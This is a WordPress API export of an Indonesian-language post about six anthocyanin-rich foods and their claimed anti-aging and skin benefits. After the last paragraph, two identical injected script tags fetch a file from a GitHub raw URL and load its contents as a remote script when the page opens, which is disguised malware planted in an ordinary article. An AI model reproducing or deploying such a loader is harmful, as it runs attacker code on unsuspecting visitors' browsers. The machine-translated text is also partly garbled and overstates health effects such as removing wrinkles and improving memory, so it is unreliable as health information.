{"id":4174,"date":"2023-12-18T12:32:31","date_gmt":"2023-12-18T04:32:31","guid":{"rendered":"https:\/\/www.backvita.com\/?p=4174"},"modified":"2024-04-13T00:06:24","modified_gmt":"2024-04-12T16:06:24","slug":"six-kinds-of-anthocyanin-food-anti-aging-eat-a-good-complexion","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/id\/enam-jenis-makanan-antosianin-anti-penuaan-makan-kulit-yang-baik\/","title":{"rendered":"Enam jenis makanan antosianin anti-penuaan, makan kulit yang baik"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-8cb1c23\" data-block-id=\"8cb1c23\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3491\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins.webp\" width=\"800\" height=\"450\" alt=\"&quot;Langit-langit&quot; dalam antosianin-beras hitam antosianin\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins.webp 800w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins-300x169.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins-768x432.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins-600x338.webp 600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Kubis ungu<\/h2>\n\n\n\n<p>Kubis ungu, umumnya dikenal sebagai kubis ungu, sebenarnya terlihat seperti kubis, berwarna ungu.<\/p>\n\n\n\n<p>Nutrisi utama kubis ungu adalah karbohidrat, vitamin, kalsium, zat besi, vitamin C, selulosa, dan antosianin yang kaya.<\/p>\n\n\n\n<p>Setelah nutrisi ini diserap oleh tubuh manusia, ia memiliki efek antioksidan dan anti-penuaan yang baik, dan kubis ungu dapat digoreng dan dimakan dan juga dapat digunakan untuk jus dan minuman.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">blueberry<\/h2>\n\n\n\n<p>Dikenal sebagai raja buah beri, blueberry mengandung berbagai macam asam amino, gula, vitamin, mineral dan serat makanan, terutama kandungan antosianin dan flavonoid yang sangat tinggi, dengan antioksidan yang baik, melindungi penglihatan, meningkatkan kekebalan tubuh dan efek lainnya.<\/p>\n\n\n\n<p>Meskipun blueberry itu baik, tidak semua orang cocok, kandungan gula dan kalium blueberry tinggi, pasien diabetes tidak disarankan untuk makan lebih banyak blueberry.<\/p>\n\n\n\n<p>Ubi jalar ungu kaya akan protein, pati, serat makanan, berbagai vitamin dan mineral, dan juga kaya akan selenium dan antosianin dua zat aktif biologis khusus ini, bagi tubuh dapat dikatakan memiliki berbagai efek, dengan usus usus, anti-penuaan, kecantikan, perlindungan kulit, hati dan sebagainya.<\/p>\n\n\n\n<p>Meskipun ubi ungu baik, tetapi tidak bisa makan terlalu banyak pada satu waktu, jika tidak, mudah menyebabkan adanya sejumlah besar gas karbon dioksida di usus, akan ada perut kembung, fenomena knalpot<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Wolfberry hitam<\/h2>\n\n\n\n<p>Black wolfberry juga disebut wolfberry buah hitam, black wolfberry mengandung nilai gizi yang kaya, mengandung polisakarida, kalsium, zat besi, berbagai vitamin, karoten, terutama mengandung proanthocyanidins alami.<\/p>\n\n\n\n<p>Nutrisi ini diserap oleh tubuh, dan dapat berperan dalam menunda penuaan, menyehatkan hati dan melindungi hati, mencerahkan mata dan melindungi penglihatan.<\/p>\n\n\n\n<p>Namun, meskipun black wolfberry baik, ada orang yang harus beradaptasi, jika Anda kedinginan, demam, atau diare, disarankan untuk tidak makan black wolfberry.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Cherry<\/h2>\n\n\n\n<p>Ceri adalah sejenis buah dengan rasa yang enak. Buah ini mengandung elemen-elemen seperti gula, asam tartarat, karoten, vitamin C dan protein.<\/p>\n\n\n\n<p>Dapat memperbaiki tubuh dan kulit, meningkatkan kecantikan, melembabkan kulit, menghilangkan keriput dan menghilangkan flek.<\/p>\n\n\n\n<p>Oleh karena itu, konsumsi ceri yang sering memiliki efek penyejuk yang baik pada hal-hal di atas.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jagung ungu<\/h2>\n\n\n\n<p>Jagung ungu kita akan merasa sangat aneh, warnanya ungu secara keseluruhan, nilai gizinya relatif kaya. Ini mengandung banyak protein, vitamin e, asam amino, karbohidrat dan karoten yang kaya.<\/p>\n\n\n\n<p>Mengonsumsi jagung ungu dalam jumlah yang tepat dapat meningkatkan detoksifikasi, meningkatkan perkembangan sistem saraf, meningkatkan daya ingat, dan yang terpenting adalah menghambat timbulnya keriput dan penuaan pada mata.<\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>Purple cabbage Purple cabbage, commonly known as purple cabbage, actually looks like cabbage, is purple. The main nutrients of purple cabbage are carbohydrates, vitamins, calcium, iron, vitamin C, cellulose and rich anthocyanins. After these nutrients are absorbed by the human body, it has a good antioxidant and anti-aging effect, and purple cabbage can be fried [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3491,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"Six kinds of anthocyanin food anti-aging, eat a good complexion","_seopress_titles_desc":"Eating an appropriate amount of purple corn has the effect of promoting detoxification, promoting the development of the nervous system, improving memory, and importantly inhibiting the generation of wrinkles and aging eyes.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1572,1573,1574],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins.webp",800,450,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins-300x169.webp",300,169,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins-768x432.webp",768,432,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins.webp",800,450,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins.webp",800,450,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins.webp",800,450,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins-600x338.webp",600,338,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/The-ceiling-in-anthocyanins\u2014black-rice-anthocyanins-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>Purple cabbage Purple cabbage, commonly known as purple cabbage, actually looks like cabbage, is purple. The main nutrients of purple cabbage are carbohydrates, vitamins, calcium, iron, vitamin C, cellulose and rich anthocyanins. After these nutrients are absorbed by the human body, it has a good antioxidant and anti-aging effect, and purple cabbage can be fried and eaten and can also be used to juice and drink. blueberry Known as the king of berries, blueberries contain a variety of amino acids, sugars, vitamins, minerals and dietary fiber, especially the content of anthocyanins and flavonoids is very high, with a good antioxidant,&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/id\/category\/tren-industri\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/id\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/posts\/4174"}],"collection":[{"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/comments?post=4174"}],"version-history":[{"count":3,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/posts\/4174\/revisions"}],"predecessor-version":[{"id":6503,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/posts\/4174\/revisions\/6503"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/media\/3491"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/media?parent=4174"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/categories?post=4174"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/tags?post=4174"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}